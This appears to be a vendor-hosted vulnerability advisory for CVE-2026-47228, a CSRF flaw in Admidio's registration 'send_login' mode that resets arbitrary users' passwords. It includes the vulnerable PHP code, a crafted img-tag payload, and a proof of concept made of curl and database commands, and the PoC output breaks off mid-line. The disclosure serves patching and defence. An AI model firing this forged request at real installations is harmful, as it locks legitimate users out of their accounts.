Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-47228 — admidio

🟡 CVSS 5.2 — Medium ✅ No Known Exploit CWE-352 NVD
5.2
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Admidio's CSRF in registration send_login mode resets arbitrary user passwords

Summary

modules/registration.php mode send_login regenerates a random password for user_uuid_assigned, stores its bcrypt hash in adm_users.usr_password, and emails the cleartext to that user. Every other state-changing mode in the same file (assign_member, assign_user, delete_user, create_user) calls SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']) first; the send_login branch does not. A page visited by a registration-administrator can issue the request as a top-level navigation, the browser sends the admin's SameSite=Lax cookies, and the server resets the chosen user's password without any further interaction from the admin.

Details

Vulnerable Code

modules/registration.php:124-138:

```php

} elseif ($getMode === 'send_login') {

// User already exists and has a login than sent access data with a new password

$user = new User($gDb, $gProfileFields);

$user->readDataByUuid($getUserUUIDAssigned);

$user->sendNewPassword();

// delete the registration because it isn't necessary anymore

$registrationUser->notSendEmail();

$registrationUser->delete();

admRedirect(ADMIDIO_URL.FOLDER_MODULES.'/registration.php');

// => EXIT

}

```

The four sibling branches all begin with SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); — for example delete_user at lines 110-118:

```php

} elseif ($getMode === 'delete_user') {

// check the CSRF token of the form against the session token

SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

// delete registration

$registrationUser->delete();

echo json_encode(array('status' => 'success'));

exit();

}

```

User::sendNewPassword() (src/User/Entity/User.php) calls setPassword(PasswordUtils::generatePassword()) and persists the new hash before the email is queued; the password change happens unconditionally regardless of whether the e-mail send succeeds. This means even when the operator's SMTP is unconfigured, the victim's password is still reset.

The handler accepts GET (no enforcement of HTTP method, no $_POST requirement), so an <img src=...> or auto-submitting form is sufficient.

Exploitation Flow

1. Attacker prepares a "pending registration" row anywhere they can — either by registering a self-controlled user account (the public registration flow creates these), or by waiting for an existing pending registration to be reachable.

2. Attacker hosts a page that issues:

<img src="https://victim.example/admidio/modules/registration.php?mode=send_login&user_uuid={pending_registration_uuid}&user_uuid_assigned={victim_user_uuid}">

3. A registration-administrator (someone with isAdministratorRegistration() — usually the org admin) visits the page while logged in to Admidio. The browser sends their session cookie (Admidio's session cookie does not set SameSite=Strict).

4. Admidio's handler runs as that admin. It loads the assigned user, calls User::sendNewPassword() which writes a fresh bcrypt hash to adm_users.usr_password, and queues the cleartext password to be e-mailed to the user.

5. The victim user's old password no longer works.

The cleartext lands in the *victim's* mailbox, not the attacker's, so the attacker does not get the password directly. The primary impact is therefore forced password reset (account lock-out / DoS for the victim) plus an information-disclosure side effect: the victim now has a password they did not request, and may be socially-engineered into believing the e-mail.

PoC

Tested locally against HEAD c5cde53. The reproducer confirms the password column changes server-side without any user interaction beyond an admin's GET to the crafted URL.

```

# 0. observe current admin password hash (the testadmin from install)

mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \

-e "SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id IN (2, 7);"

usr_id usr_login_name pwd

2 testadmin $2y$12$AB.h

7 victim $2y$12$L9q3

# 1. attacker creates a pending registration with user_uuid pointing at "victim"

mariadb ... admidio -e "INSERT INTO adm_registrations (reg_org_id, reg_usr_id, reg_timestamp)

VALUES (1, 7, NOW());"

# (the pending row gives the request a valid user_uuid for $registrationUser->delete())

# 2. crafted CSRF endpoint, hit from a third-party page in the admin's browser:

# no adm_csrf_token, GET only

curl -b $admin_cookie \

"http://127.0.0.1:8085/modules/registration.php?mode=send_login&user_uuid=$pending_uuid&user_uuid_assigned=<victim_uuid>"

# 3. observe the victim's password hash has changed

mariadb ... admidio \

-e "SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id=7;"

usr_id usr_login_name pwd

7 victim $2y$12$w5lQ

```

The hash before the attack was `$2y$12$L9q

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs administrative privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability low.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: High — administrative rights are needed first.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: Low — limited, and the attacker does not choose what is affected.

Weakness class

CVE-2026-47228 is classified as CWE-352: Cross-Site Request Forgery (CSRF). A state-changing request is accepted without proof it was intended, so another site can trigger it using the victim's session.

Affected software

CVE-2026-47228 is recorded against 2 packages.

  • admidio/admidio (fixed in 5.0.10)
  • unknown

Timeline and source

Published on 29 May 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Package)

Other advisories for this package

admidio/admidio has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-352: Cross-Site Request Forgery (CSRF)) in other software:

Details

Severity Medium
CVSS Score 5.2
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L
CWE CWE-352
Public Exploit ✅ No
Source NVD
Published 2026-05-29
Updated 2026-08-20
Modified 2026-05-29
Fix URL N/A

Affected Packages

Software From version Fixed in
admidio/admidio 5.0.10
unknown

Similar Threats

Vulnerability Monitoring

Track new vulnerabilities in admidio

CVE-2026-47228 is rated CVSS 5.2 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026